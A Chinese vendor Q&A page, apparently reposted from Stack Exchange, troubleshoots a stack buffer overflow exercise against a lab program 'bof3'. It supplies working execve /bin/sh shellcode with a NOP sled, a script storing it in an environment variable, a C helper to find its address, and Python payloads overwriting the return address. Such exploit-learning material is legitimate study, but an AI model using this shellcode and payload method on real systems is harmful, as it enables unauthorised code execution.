You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何无法执行存储在环境变量中的Shellcode?

Troubleshooting Your Environment Variable Shellcode Execution

You've successfully controlled EIP—great start! The issue preventing your shellcode from running boils down to two key problems: your shellcode is getting corrupted when stored in the environment variable, and the address you're using doesn't match the actual runtime address of the shellcode. Let's fix this step by step.

1. Fix the Environment Variable Shellcode Storage

Your env_shellcode-2.sh uses echo $total to set the environment variable, but echo mangles non-printable bytes (like \x90 NOPs or \x31 opcodes) by treating them as text. This means the shellcode in MYSHELLCODE isn't the raw binary you need to execute.

Update your script to use printf instead, which preserves raw binary data:

#!/bin/sh
nopsled=$(perl -e 'print "\x90"x200')
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
total=$nopsled$shellcode
# Use printf to preserve raw bytes instead of echo
export MYSHELLCODE=$(printf "$total")
# Verify the raw bytes with xxd (you should see the correct opcodes)
printf "$MYSHELLCODE" | xxd

Source the updated script to apply the changes:

source env_shellcode-2.sh

2. Get the Exact Runtime Address of MYSHELLCODE

GDB modifies the process environment when launching your program (adds its own debug-related variables), so the address you get in GDB won't match the address when running the program directly. Instead, use a simple 32-bit tool to fetch the environment variable's actual runtime address:

Create getenvaddr.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <environment-variable-name>\n", argv[0]);
        return 1;
    }
    char *env_addr = getenv(argv[1]);
    if (!env_addr) {
        printf("Environment variable %s not found\n", argv[1]);
        return 1;
    }
    printf("Address of %s: 0x%x\n", argv[1], (unsigned int)env_addr);
    return 0;
}

Compile it as a 32-bit binary (critical since your target program is 32-bit):

gcc -m32 getenvaddr.c -o getenvaddr

Run it to get the address of MYSHELLCODE:

./getenvaddr MYSHELLCODE

Note down the output address (e.g., 0xffffdea2).

3. Construct the Correct Payload and Test

  • Convert the address to little-endian (since x86 uses little-endian byte ordering). For example, 0xffffdea2 becomes \xa2\xde\xff\xff.
  • Target the middle of the NOP sled (subtract 50-100 from the address) to account for small stack variations. If your address is 0xffffdea2, use 0xffffde7a (which translates to \x7a\xde\xff\xff).
  • Avoid using a plain pipe for testing—/bin/sh needs a terminal to interact with. Use a subshell that keeps stdin open:
(python -c 'print("a"*44 + "\x7a\xde\xff\xff")'; cat) | ./bof3

Or write the payload to a file and feed it to the program:

python -c 'print("a"*44 + "\x7a\xde\xff\xff")' > payload.txt
./bof3 < payload.txt

Why This Works

  • printf preserves the raw shellcode bytes, so the environment variable now contains the exact opcodes needed for execution.
  • The getenvaddr tool gives you the actual runtime address of MYSHELLCODE, not the GDB-modified one.
  • Targeting the middle of the NOP sled ensures that even if the stack shifts slightly, you'll land in the NOPs and slide smoothly into the shellcode.

内容的提问来源于stack exchange,提问作者takahito

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.08 21:27:35